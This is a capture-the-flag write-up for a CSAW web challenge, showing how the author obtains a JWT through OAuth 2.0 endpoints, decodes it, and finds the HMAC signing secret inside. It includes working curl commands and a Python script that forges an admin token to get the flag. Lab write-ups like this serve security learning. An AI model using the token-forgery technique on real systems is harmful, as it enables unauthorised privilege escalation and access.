Tags: jwt
Rating:
**Description**
> Don't you love undocumented APIs
>
> Be the `admin` you were always meant to be
>
> http://web.chal.csaw.io:9000
>
> Update chal description at: 4:38 to include solve details
>
> Aesthetic update for chal at Sun 7:25 AM
**No files provided**
**Solution**
We start at a rather empty website.
```html
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
.
```
Trying to go to `/protected` results in the page telling us:
Missing header: Authorization
If we try to do a `POST` request to the two URLs given in the comment:
$ curl -X POST http://web.chal.csaw.io:9000/oauth2/token
incorrect grant_type
$ curl -X POST http://web.chal.csaw.io:9000/oauth2/authorize
response_type not code
OAuth 2.0 is a very widespread mechanism for logins and registrations. It is quite easy to find articles referencing how it works, and both `grant_type` and `response_type`. [Here](https://alexbilbie.com/guide-to-oauth-2-grants/) is a good one.
So, our first step is to make a POST request to the authorisation server, which is represented by the `/oauth2/authorize` URL in our case:
$ curl -X POST -d "response_type=code" \
-d "client_id=admin" \
--data-urlencode "redirect_uri=http://web.chal.csaw.io:9000/protected" \
-d "state=admin" \
-d "scope=admin" \
"http://web.chal.csaw.io:9000/oauth2/authorize"
Redirecting to http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJhZG1pbiIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly93ZWIuY2hhbC5jc2F3LmlvOjkwMDAvcHJvdGVjdGVkIiwiaWF0IjoxNTM3Mjk3OTc0LCJleHAiOjE1MzcyOTg1NzR9.gwpoCKI2ZyGAgZlQ3J50j7H-pXWH3HaLLb5sDeblr8I&state=admin
The `code` URL in the above gives us a token which we then submit to the `/oauth2/token` URL:
$ curl -X POST -d "grant_type=authorization_code" \
-d "client_id=admin" \
-d "client_secret=admin" \
--data-urlencode "redirect_uri=http://web.chal.csaw.io:9000/protected" \
-d "code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJhZG1pbiIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly93ZWIuY2hhbC5jc2F3LmlvOjkwMDAvcHJvdGVjdGVkIiwiaWF0IjoxNTM3Mjk3OTc0LCJleHAiOjE1MzcyOTg1NzR9.gwpoCKI2ZyGAgZlQ3J50j7H-pXWH3HaLLb5sDeblr8I" \
"http://web.chal.csaw.io:9000/oauth2/token"
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ.4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk"}
And with this token we can try to go to `/protected`!
$ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ.4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk" \
"http://web.chal.csaw.io:9000/protected"
You must be admin to access this resource
But of course, that would have been too simple. Even though we put `admin` in basically all the parameters, we are not admins to the server. Let's have a look at the token though. It seems to be a couple of Base64-encoded strings:
$ printf "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -D
{"alg":"HS256","typ":"JWT"}
$ printf "eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ==" | base64 -D
{"type":"user","secret":"ufoundme!","iat":1537298018,"exp":1537298618}
$ printf "4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk=" | base64 -D | xxd
0000000: e075 87a3 5768 4e05 9e8e bfa3 4d37 5e62 .u..WhN.....M7^b
0000010: 814c 2a9b a22e f4fd f88d e34a eb21 90d9 .L*........J.!..
(I added `=` characters to the end of the second and third strings in order to make their lengths a multiple of 4, i.e. standard Base64 padding.)
The `JWT` bit is particularly interesting. JWT stands for [JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token), and is a simple format for issuing tokens from the server to the client that cannot easily be manipulated. The contents of the token are signed with a key only the server knows and the signature is attached to the token. If either changes, the token is rejected. But ... we have a `secret` value in the payload (the second part of the token)! Let's assume it is the signing key and forge the token such that our `type` is `admin` instead of `user`.
```python
import hmac
import hashlib
import base64
# the header is the same
headerData = b'{"alg":"HS256","typ":"JWT"}'
headerB64 = base64.b64encode(headerData, "-_").strip("=")
# modified payload
# - set the type to admin
# - remove the secret (why not)
# - extend the expiry timestamp
payloadData = b'{"type":"admin","iat":1537298018,"exp":1608495620}'
payloadB64 = base64.b64encode(payloadData, "-_").strip("=")
secret = "ufoundme!"
toDigest = bytes(headerB64 + "." + payloadB64)
signature = hmac.new(secret, toDigest, digestmod = hashlib.sha256).digest()
signatureB64 = base64.b64encode(signature, "-_").strip("=")
print ".".join([headerB64, payloadB64, signatureB64])
```
$ python token.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1MzcyOTgwMTgsImV4cCI6MTYwODQ5NTYyMH0.ULVv8Amb2Ai1R57Sr3mPhtU9q-et4ttN2kudnoZrwl0
And with this modified token:
$ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1MzcyOTgwMTgsImV4cCI6MTYwODQ5NTYyMH0.ULVv8Amb2Ai1R57Sr3mPhtU9q-et4ttN2kudnoZrwl0" \
"http://web.chal.csaw.io:9000/protected"
We get the flag!
`flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`